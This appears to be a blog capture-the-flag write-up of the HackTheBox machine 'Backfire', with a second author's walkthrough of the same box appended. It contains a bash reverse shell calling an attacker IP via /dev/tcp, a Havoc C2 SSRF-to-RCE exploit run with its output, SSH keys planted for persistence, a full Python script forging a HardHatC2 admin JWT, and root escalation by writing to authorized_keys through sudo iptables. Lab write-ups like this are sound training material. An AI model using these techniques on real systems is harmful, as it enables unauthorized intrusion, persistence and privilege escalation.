xsspresso
xsspresso
WriteupsHTB — Backfire
MiscHardLinux

HTB — Backfire

HardHat C2 framework exposed via reverse proxy misconfiguration. JWT forgery for admin access, Sliver C2 implant exploitation for lateral movement.

January 18, 2025HackTheBox
#C2 Framework#JWT Forgery#Reverse Proxy#Sliver

nmap

sh
nmap -sC -sV -T4 -A -Pn -p- --open 10.10.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-18 16:36 EST
Nmap scan report for 10.10.11.49
Host is up (0.025s latency).
Not shown: 64414 closed tcp ports (reset), 1116 filtered tcp ports (no-response), 2 filtered tcp ports (port-unreach)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_  256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp  open  ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=acme corp/stateOrProvinceName=Colorado/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-06-15T19:17:33
|_Not valid after:  2027-06-15T19:17:33
|_http-title: 404 Not Found
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.22.1
8000/tcp open  http     nginx 1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 11:31  disable_tls.patch
| 875   17-Dec-2024 11:34  havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
|_http-title: Index of /
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/18%OT=22%CT=1%CU=33097%PV=Y%DS=2%DC=T%G=Y%TM=678C
OS:1EFE%P=x86_64-pc-linux-gnu)SEQ(SP=109%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=109%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CS
OS:T11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=
OS:M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   28.81 ms 10.10.14.1
2   28.89 ms 10.10.11.49
 
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.31 seconds
 

nmap udp

sh
 sudo nmap -sU -sV -sC -p U:161,22,110,143,993,995 10.10.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-18 16:37 EST
Nmap scan report for 10.10.11.49
Host is up (0.019s latency).
 
PORT    STATE  SERVICE VERSION
22/udp  closed ssh
110/udp closed pop3
143/udp closed imap
161/udp closed snmp
993/udp closed imaps
995/udp closed pop3s
 
sh
wget http://10.10.11.49:8000/disable_tls.patch
wget http://10.10.11.49:8000/havoc.yaotl

disable_tls.patch

sh
cat disable_tls.patch
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so 
this will not compromize our teamserver
 
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
 {
     Teamserver   = ConnectionInfo;
     Socket       = new QWebSocket();
-    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+    auto Server  = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
     auto SslConf = Socket->sslConfiguration();
 
     /* ignore annoying SSL errors */
     SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
-    Socket->setSslConfiguration( SslConf );
     Socket->ignoreSslErrors();
 
     QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
 		}
 
 		// start the teamserver
-		if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+		if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
 			logger.Error("Failed to start websocket: " + err.Error())
 		}
 

havoc.yaotl

sh
cat havoc.yaotl
Teamserver {
    Host = "127.0.0.1"
    Port = 40056
 
    Build {
        Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}
 
Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }
 
    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}
 
Demon {
    Sleep = 2
    Jitter = 15
 
    TrustXForwardedFor = false
 
    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}
 
Listeners {
    Http {
        Name = "Demon Listener"
        Hosts = [
            "backfire.htb"
        ]
        HostBind = "127.0.0.1" 
        PortBind = 8443
        PortConn = 8443
        HostRotation = "round-robin"
        Secure = true
    }
}
 

exploitation

payload.sh

sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
sh
nc -lnvp 4444
bash
python3 -m http.server 80
sh
python3 ssrf_rce.py --target https://10.10.11.49 -i 127.0.0.1 -p 40056
b'\x00\x00\x01\x02\xde\xad\xbe\xef\x00\rCT\x00\x00\x00c\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\rCT\x00\x00\x00\x0fDESKTOP-7F61JT1\x00\x00\x00\rAdministrator\x00\x00\x00\x05ECORP\x00\x00\x00\t10.1.33.7\x00\x00\x00\x0em\x00s\x00e\x00d\x00g\x00e\x00.\x00e\x00x\x00e\x00\x00\x00\x10s\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab'
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
b'\x00\x00\x00\xcc\xde\xad\xbe\xef\x00\rCT\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc0\xc0\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E6\x19\xee&\xe0\xd1\xeb\xa3\x12\xfd\xa1\xc4o\x1d\x054?>(\x7f\xeb\xe2\xb7\xf9\xd5w\x01\x149\xea\x06\x94\x1dZ\xe1\x8c\xc5\xa0D<\x01\xbe\xed\x7f\x87%G\x1f\x91\x1c3\x89=A},A\x92%2\xa4\x82\xea\xde\x0b=k?r\x8d\xc5iYk\xb9\xab\xe1I\x01\xfd]P\x12\xf4\xc8\x85L\x9b4\xc5\xdf\x82\x1e\xd5\xa2\x9d\xc9N\x8d\xd9hK\x1f;d\x97\x8b\xcf9\x98\x18\xd4\xa3^4\xc6\x84\xa7\x95Y\xcf\x1e\x8cm\xaa\xcf\x1a{\x87\xce^\x8a\xbd]\xf6tME&\x00\x91\xd4\x05\xb3\x91\xc5\x1a\xaa\x8dF_\xf5\xbc\xe8\x9b4s\xa5\xefxe\xa2'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
b'\x00\x00\x01\x00\xde\xad\xbe\xef\x00\rCT\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc0\x94\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E6m(\x9d\xb4=S\x10\'\x03"^V\xda\xbe\xc2\x1d\xdc\xb0\xee\xb3\x12CN\xa6\xb2\xdf\x9b,`\xf0\x1c\r\x8f1\x16\xd3b\xc0\xe7A$x\xf4\xd3\x95\xb8\xf0\xd7\xc7\xee\x02o\xcf\xe3\xe3ZK\xe3\xa9\xad\x0f"XH\x8f\xc1\x96~_\x05\xb6\x08\xf4w*\xe9\x9a\xd2\x10A\x8c\xcf}\x9a\r\xb0}\x03NOD{]2w\xc5\x94\x12\x02z\x8a\xf5\xb0~G\x1e\r\x03g\xac-\xeb\xde\xeaQ\xc9o\x1b\x9b\xd1\xc0\x0f\xac\x99\x03\x9d\xbf\xc1\x19\xb1*\x86\xe8p\xee\x0e\xba\xe7\xc4\xba\x13\xd3K\xc5X\xc4\x05\x86\x9c\xc0e\xc2xS\xa1b<O\x89\r\x0cR\xf4\xee\xd1Z\x8a\xe8\x9cI\xd8\x85\x15F\xae\x95\x9c\n\xd7\x88f\x83\xa9\xb3bF\x88N\xec\xc1\xe1\x0e\xc9\x0c\xa7\x8d\x81N\xdc\x03\x8b\x93r\x16h\xfe\xe6\xdd\xef\x03\x03.\x10'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
b'\x00\x00\x02\x1f\xde\xad\xbe\xef\x00\rCT\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc2s\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E7J(\x9d\xb5\x1a\x195n\xech{\x1f5\xf4\xe7T3\xfa\xcb\xfa\xfd\tk\xef]\x95\xbee\x8f\xa2=Vwi.\x9b\xcb\x92\xd8\n\xcb,\x94\x8e\x07\xff\xc7\x88^\xf5x a\xa0\xd2\t\xa0\xb4\x8f\xf8\xb6ru@{\x9c\xa0H\xeb\x05\x86o\x1dl^\xf7f\xdel\x10r\x9fG\x91\xa5\xd4\x00\t\xb33> \xb6iY\xd4$\x19x!#\xfb\xcfu\xa4\x12)\x18\xc5\xd1\x12\xa9a\xaen\x82\xeaW\xa1\x95=E\xce\xdc\xee\xc5\xe7\xcd\xba\x8eW\x9aKb\xc9_;\xff\xf1\xba\xfe\x81\x06\xcb\xb7\x88a\xd7\x7f\xd1@\x9e\x8e\x0e\x9e\x1d\x98Q\xe8W\xf5\x18\xd1\xdcdF\xd9\xe4>D\x8f\x99\xa8Z\xea\x9f=\x0c\x84\x92\xc4\x8e\x9a\xf4\x9e\x0c\xb0\x1f\x1b\xef\x86\x12c\x1e\xc3\x87"\x04\x96\x19#\xe3\x01\x11\xd7\xe5\x88\xd4Y\nTh\xed\xa3$b\xe4\x03(o/$\x1c\x19\xbcT\xb6\xae~\x99Z\xc6k\xe5N\x9fn\xc4s+\xa8QWq\xa4\xf6Vn4\xf6\n\xee)}l\xd6\xc1\x83\xd2\xc3\x16N\x1e\xdb<\xce\xfe&q\xe8\xa5q\xe0!]\xd5\x9dFj\x88Y\xb9\x8fC1\x9e\xb0\xa9d:\xe3"\x7f\x83\x91\x97\x1aQ\x15\x8d\xaf-\xd4\xff\'\xb6\xb8\xfd]\x99\x92G\xe3\xfb\xa2\x12\x93\xd4~\x7f\xafC\xd0\xd3\xee\x06%S\x8e\xf45x!\xe6\x9eq\xdc\xf2x\x91\xad\xce[\xa2\xa9\xc3l\x9f\xc8\xe7*\x8ei]4~\x03\xfa\xbd\x85\xc0{\x0f\xd8#\xaeP\x95<\x18\x85\x94QQ\xecY\x9b\'h\xf4N:\xaa\x8f!\x9a\x9fzdc\x0b\xaa\x1a/\xb6\xb7\x12\x0f\x05\xdc\xa4\xd2&\xd3\xe2"\xbfR\xc4\x97f\x8e\x9dSZ\n\x00@\xb7\xcc\xf7#\x83\xf2\xc9\x10(!\x88\xb6E\xa7Ul\x15\xc8\x16\x1bV\xb5\xe5\xbb\xaa\x8f\xaa;,BOa\x9cn\xff\x1e\'\x1c0Z\xc4\x0b\x9d\xd7\x9f\x82q\xe1\xbe^\xe2I\xea\xf59e\xba\x96\xbf\x92pK\x7f\xef\x93\r\x9ey\x1b\x1b\x92\xb7\xe9\xf9z\x97\x1a\x8b#-\xc2$'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
b'\x00\x00\x03O\xde\xad\xbe\xef\x00\rCT\x00\x00\t\xec\x00\x00\x00\x08\xdc\x95\xc3C\xa2@\x89\x98\xbcY\xb3\x05\x92\x84 \x84S\x0f\x8a\xfa\xc7E5\x9a(\x9d\xb7\xea\rbj@|,\x1b\x99\xe0\xb0P\x9f\xee\x9c\xfeQ\x1d<\xeb\xf1\x81\xe9a#\xbfhV\xd1l_\x955\xd9\x8d\x16e6\xa7\xcd\x8e\xeb\x8d\xda\x9c\xa8c\x01\x9d\xed\xcd\r\x06\xae\xca\xaa\x1c|0J\xdb\x8a\x96kF\x04\xccD\xf6#M\xb4\xc3\xb4o\x14\xa0\x8b}\xd8X\xe1\x17;\x1f\x02&\x00\x1a}\x04\xd7\xba\r/%\xf1\xbf\xb9k\x08\x07\x0fL*\xfbB\xe3\xb3\xb4P\xcajE\xf7\x80\x81\x07\x83\xab\x19\x92\xfd\x98T\xc6r\x8c\xffz\xd8\x18\xb5\xf9\xae\xf7,\xc1Q\xb1X\xb7;\x9b\x9a\x86A\xa3"\x06\xe1yg\x0b\xa0-\r\x0c\xf8\xce\xbd\r\xc0\xa3\xd1.\xaa\xc8Vf\xdc\xba\x9e\x02\x98\xda-\x97\xaa\xbdrY\xaaW\xf9\xf7\x81U\xe7\x0b\xd7\xb0\xc0w\x83X\xce\xcaV\x04W\xa0\xc7\xdc\x89\x1e\x1d\x7fZ\xa6|#"*gz\x8c4CSvB\xef\x90\xdd\xc1"\x85\xb6\xadX\xce\xff\x86u\x06T\x1a\x02\x13\n\x83OD\xb1\xdb#\x91\xcc%\x0c\xc9{\x90\xac\xe8\xc4<:\x84\x8c\xe3\x8a\x1c\x85\xad\x8c\x050K1\xcc,Do\xd7\xb1\xa1\x9f\x13\xd8\xf4\x90\xf2\xf12\xd5\x1d\x94\xaa\xc2\xd0\xfb\x0bV\xf00a\xd0\xb7\xbb\xe1\x83\xf6\x83\xe1\xb97O\xef\xf5\x16?\xc0)\x07\x11_\xfb\xb2\x15P=\x12\x18\x9c\x07\x16\xe5\x87\xb5Zo\xe2&\x807\xdb@\x88\x14\xc6H\x8c\x0b\xaas\xc4\xdf5%\x11\xbb\x98\xed\xa44;Q\xc7\xb8\xfd\x1d\xf6\xa9M\x89\xa3\xf6I\xa4[e\x00p\xc5\xbfx\xb3\xdc\x9d\xec\x93)\x9a*\x1c\xf8\xdb)\xfb\xc0\x83_}\xc5\x0f\x8cd\xcc5|\xa9,%\x9fy\xee\x7fxQ0\xcb\x0e\xd9\xc8\x0fI\xcc\x851\x0b%le\x8fW\x8c\xfc7\x1d\xb0\xe3\x17\x18\xe5\x0c\x9d\xd5\xf5`S\x156\xe1w\xa9iT2xN\xd9\x0f\xdc]\x7f\xc1\x8c\xd2\x8b\xd1\xba\x18\x04N\xb7\xff\x86q\xfb\x99\x14\x91+Q\x9b\xb8\x91E\x7fY[T?\xe9\xa4\xa1\xd4\x88@\x85\x86;\xd9c\x0c\xbf4\xbc\xa3\xadA\x05\x04\x05j\xd3\x11)Q\x14\xcb\x1d\xd9I\x1a#\x99\xc8\x9ch`)n*ad~D\r\x193qc\xca\x18\xba\xd5Hr\xf4\xbb\xdcSD\xfa\xf7\xa3\xcf\xfa\xaf\xc6qD\x9cw\xa3}\x0f>-\xe0\xacc\xba\x11\xae\x9a\x967_bh\xcet\xd8\x0b\r\xe9\x88\x90\x90^\xaa\xb6?\xcdl\xd6\xf6\x8c\xe5a&w\x8e\xb9\x89\x9dH;\xa3\xa8\xf2\x00\xe9k`-:\xfd\xa9\x8c\x8e@\xed[iO\xba\xd3)7\x81iE-\x0b\x00;\x9a\xfd\xfa\x9f\xbeL\x9b\x10Ptiwn\xd5|r\xa9i\x08U\xda\xbf\xc6\x1f\xf5e\xde\x8f\x0b\xeaV\x83+p\r[\x17\xf4\xd5\xd8\x10\xfe\xf7\xd6\x84\xef\x84\x01O?\xa0\xa6#\xac9\x81\xad>(G/%\xd9\xb2)\x0f\xa9\xbbu(\xb7\x8c\xff\xeeALd\x16\xaf#\xf6Yq\x8b RE\x82\xc1uj\x9ei\xa1C\xc2\x1e6I\xf8?%&\xfa\x16\x1a\xfd\xff_\x9e\x7f\x81$\xda\xf9\xba\x1fw\x0e\xd3\x97\x80\xa1;n\xcd\x1c\x07\x12o$\x7f\x10\x17\xefV\xf7,\xf7;\xd7\x1aG\xaa?\xd0\xc9Q\xd2\x93\x06\xf3p\xd6f\xf8\xda\x97\x93\x08%\xc36%\xab\xf9\x168\x8a'
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
 

sh
nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.49] 56002
bash: cannot set terminal process group (2018): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$ whoami
whoami
ilya

user.txt

sh
ilya@backfire:~$ cat user.txt
cat user.txt
1469ee2d...

priv esc

sh
ilya@backfire:~$ cat hardhat.txt
cat hardhat.txt
Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C# 
sh
ilya@backfire:~/Havoc/payloads/Demon$ netstat -tunlp
netstat -tunlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:7096            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   
 

add public key to ssh

sh
ilya@backfire:~/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAo8yqNh3gxqSpyiidDkG8Xwd7XEfA1E3AH3DZ9FfPXC root@kali" > authorized_keys
<Xwd7XEfA1E3AH3DZ9FfPXC root@kali" > authorized_keys

local port forwarding

sh
ssh -i id_rsa -L 7096:localhost:7096 -L 5000:localhost:5000 ilya@10.10.11.49
Enter passphrase for key 'id_rsa': 
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
 
Last login: Sat Jan 25 02:50:51 2025 from 10.10.14.6

PentestNotes

Backfire Hackthebox Writeup

Описание изображения

HTB machine link:

https://app.hackthebox.com/machines/Backfire

Before the start of the raytap, I would like to congratulate my colleagues from FR13NDS_TEAM team, in particular hacker fisstech, who took user first blood, beating TOP 1 team hackthebox. Respect)

Описание изображения

Recon

We start as usual by checking the connection and scanning for open ports

Описание изображения

The 8000 port immediately catches our eye. Let’s try to access it

Описание изображения

Here we have two files. disable_tls.patch and havoc.yaotl.

Описание изображения

Looks like someone deployed C2 HavocFramework. The screenshot above is an example of why you need to remember to shut down your python http servers after use. We find two files - some patch and the Havoc config - havoc.yaotl, which is required to run the team server.

The patch has instructions on how to disable tls in havoc.

Описание изображения

The configuration file contains the following parameters:

  • Teamserver - specifies the address and port listened by the server
  • Operators - lists registered users
  • Demon - shows the settings required for the generated agent.

And useful information that applies to the vulnerable host, including the creds and ports on which the daemon is running, as well as the domain of the machine

Описание изображения

q
Operators {
    user "ilya" {
        Password = "*********************"
    }
 
    user "sergej" {
        Password = "*********************"
    }
}

The domain, by the way, is expected backfire.htb

Описание изображения

Don’t forget to add an entry in /etc/hosts

Описание изображения

sh
echo "10.10.11.49 backfire.htb" | sudo tee -a /etc/hosts

User flag

After a little osint on the authors of tacha, an interesting fan-fact was discovered - chebuya, is also the author of the SSRF exploit vulnerability in Havoc. Coincidence? I don’t think so.

Описание изображения

Описание изображения

Let’s try to run SSRF PoC with the creds found in the configs before.

Описание изображения

sh
python3 exploit.py -t https://backfire.htb/ -u ilya -i 10.10.xx.xx -p 8443

It seems to work, but SSRF alone is not enough, we need to think of something else.

Описание изображения

Here we come to another fan-fact - hyperreality, the second author of the ride, is also part-time author of the RCE exploit under Havoc.

Описание изображения

We’ll have to use SSRF-to-RCE. In theory, you should write code combining both exploits yourself, but the community has already done everything for us, so just watch your hands:

Preparing the reverse-shell.

bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.xx.xx/4444 0>&1

Running the python http server.

bash
python3 -m http.server 8001

Running listener.

bash
nc -nlvp 4444

And finally, we run the exploit.

sh
https://www.pentestnotes.ru/images/hackthebox/season7/Backfire/SSRF_TO_RCE.py

(don’t forget to change the IP in the code to your own)

Описание изображения

bash
python3 rce.py --target https://10.10.11.49 -i 127.0.0.1 -p 40056

The script exploits a vulnerability in Havoc related to command injection under an authenticated user: Establishes a secure websocket connection, authenticates the user to the server, creates a listener with certain parameters, and runs a command line loop within which we can inject commands.

If we make small changes to the exploit, cmd will run our reverse shell.

Описание изображения

As you can see below, the exploit was successful.

Описание изображения

Session caught.

Описание изображения

Shell will kick out every once in a while, so for convenience I manually added my public ssh key to the authorised_keys file on the machine. This way you can connect without a password.

To do this, first find out your public key.

sh
cat ~/.ssh/authorized_keys

(Where ~/.ssh/authorised_keys is the default path to the authorized_keys file. It may be different for you.)

Copy the resulting public key and paste it into authorised_keys on the captured machine with a new line.

sh
echo "YOU PUB KEY" | tee -a ~/.ssh/authorized_keys

Now you can connect to the machine via ssh.

Описание изображения

Root flag

We start from the file hardhat.txt found by user ilya.

Описание изображения

Our little redtimers are not embarrassed by anything, so they leave information that thanks to Sergej they have another C2 somewhere called HardHatC2. By the way, there is RCE for it too.

When looking at the live ports, 5000 and 7096 immediately catch my eye

Описание изображения

We’re routing these ports

sh
ssh -L 5000:127.0.0.1:5000 ilya@backfire.htb
sh
ssh -L 7096:127.0.0.1:7096 ilya@backfire.htb

And see what’s on the web

Описание изображения

Follow Vulnerability 2 and Vulnerability 3 points in the following article: https://blog.sth.sh/hardhatc2-0-days-rce…88a6815c08

python
# @Author Siam Thanat Hack Co., Ltd. (STH)  
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Craft Admin JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("Generated JWT:")  
print(token)  
  
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "strongpassword",  
"role": "TeamLead",  
"username": "strongusername"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)

This will allow us to create a new HardHatC2 user with an arbitrary password:

Описание изображения

Log in

Описание изображения

Now we go into the Implant Interact tab.

Описание изображения

And find a command line that executes commands as user sergej. You can catch the shell, but I’ll just put my public ssh key back on the server, similar to ilya:

Описание изображения

Описание изображения

Now we can freely connect under the sergej user to the server.

Описание изображения

Let’s look at the functions that we can use with sudo privileges. Among them we find iptables.

Описание изображения

To increase privileges we can use the following instruction: https://www.shielder.com/blog/2024/09/a-…scalation/

In principle, what is described below does not require much explanation, we simply add our ssh pub key to the iptables rule comment and send the rule with the ‘malicious’ comment to authorised_keys.

Описание изображения

sh
#add rule  
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nYOUR SSH PUB KEY\n'  
  
#verify with:  
sudo iptables -S  
  
#save into authorized_keys  
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys  

Go in under root and loot the flag.

sh
ssh -i key root@backfire.htb

Описание изображения

HardHatC2 0-Days (RCE & AuthN Bypass)

  • https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7
python
# @author Siam Thanat Hack Co., Ltd. (STH)  
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Craft Admin JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
    "sub": "HardHat_Admin",    
    "jti": str(uuid.uuid4()),  
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
    "iss": issuer,  
    "aud": issuer,  
    "iat": int(now.timestamp()),  
    "exp": int(expiration.timestamp()),  
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("Generated JWT:")  
print(token)  
  
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
  "Authorization": f"Bearer {token}",  
  "Content-Type": "application/json"  
}  
burp0_json = {  
  "password": "sth_pentest",  
  "role": "TeamLead",  
  "username": "sth_pentest"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)

sh
python3.12 hardhard_bypass.py 
/home/sake/htb-labs/Backfire/hardhard_bypass.py:12: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiM2MxMzg5NzItYzMxOS00ZmE3LWI0YjEtYTcxZGVmMDViZWM2IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc4NDg0MjMsImV4cCI6MTc0MDI2NzYyMywiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.WUxSkIB9ttaLCjpKqYInte8rByJsVfZ5xyfmiFtIPCk
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1062: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
  warnings.warn(
User sth_pentest created

login with sth_pentest:sth_pentest

HardHatC2 RCE sergej

sh
ssh -i id_rsa sergej@10.10.11.49
Enter passphrase for key 'id_rsa': 
